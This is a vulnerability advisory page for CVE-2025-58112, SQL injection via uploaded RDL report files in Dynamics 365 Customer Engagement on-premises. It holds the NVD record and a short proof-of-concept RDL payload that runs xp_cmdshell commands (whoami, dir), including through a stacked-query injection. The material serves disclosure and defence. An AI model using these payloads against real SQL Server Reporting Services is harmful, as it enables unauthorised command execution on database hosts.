CVE-2025-58112

<!-- 恶意RDL文件示例 --> <RDL> <DataSources> <DataSource Name="MaliciousDS"> <ConnectionProperties> <DataProvider>SQL</DataProvider> <ConnectString>EXEC xp_cmdshell 'whoami'--</ConnectString> </ConnectionProperties> </DataSource> </DataSources> <DataSets> <DataSet Name="MaliciousQuery"> <Query> <CommandText>EXEC xp_cmdshell 'whoami'</CommandText> <DataSourceName>MaliciousDS</DataSourceName> </Query> </DataSet> </DataSets> </RDL> <!-- 或者使用SQL注入方式 --> <DataSet> <Query> <CommandText>SELECT * FROM users WHERE id = 1; EXEC sp_executesql N'exec xp_cmdshell ''dir''';</CommandText> </Query> </DataSet>

{"cve": {"id": "CVE-2025-58112", "sourceIdentifier": "[email protected]", "published": "2026-03-18T19:16:03.497", "lastModified": "2026-03-19T15:16:20.657", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Microsoft Dynamics 365 Customer Engagement (on-premises) 1612 (9.0.2.3034) allows the generation of customized reports via raw SQL queries in an upload of a .rdl (Report Definition Language) file; this is then processed by the SQL Server Reporting Service. An account with the privilege Add Reporting Services Reports can upload a malicious rdl file. If the malicious rdl file is already loaded and it is executable by the user, the Add Reporting Services Reports privilege is not required. A malicious actor can trigger the generation of the report, causing the execution of arbitrary SQL commands in the underlying database. Depending on the permissions of the account running SQL Server Reporting Services, the attacker may be able to perform additional actions, such as accessing linked servers or executing operating system commands."}, {"lang": "es", "value": "Microsoft Dynamics 365 Customer Engagement (local) 1612 (9.0.2.3034) permite la generación de informes personalizados a través de consultas SQL sin procesar en una carga de un archivo .rdl (Report Definition Language); esto es luego procesado por el SQL Server Reporting Service. Una cuenta con el privilegio Agregar informes de Reporting Services puede cargar un archivo rdl malicioso. Si el archivo rdl malicioso ya está cargado y es ejecutable por el usuario, el privilegio Agregar informes de Reporting Services no es necesario. Un actor malicioso puede desencadenar la generación del informe, causando la ejecución de comandos SQL arbitrarios en la base de datos subyacente. Dependiendo de los permisos de la cuenta que ejecuta SQL Server Reporting Services, el atacante puede ser capaz de realizar acciones adicionales, como acceder a servidores vinculados o ejecutar comandos del sistema operativo."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://gist.github.com/Redteam-LongwaveSpa/141f6c52ce49f9c0f49989c7d6940abd", "source": "[email protected]"}, {"url": "https://microsoft.com", "source": "[email protected]"}]}}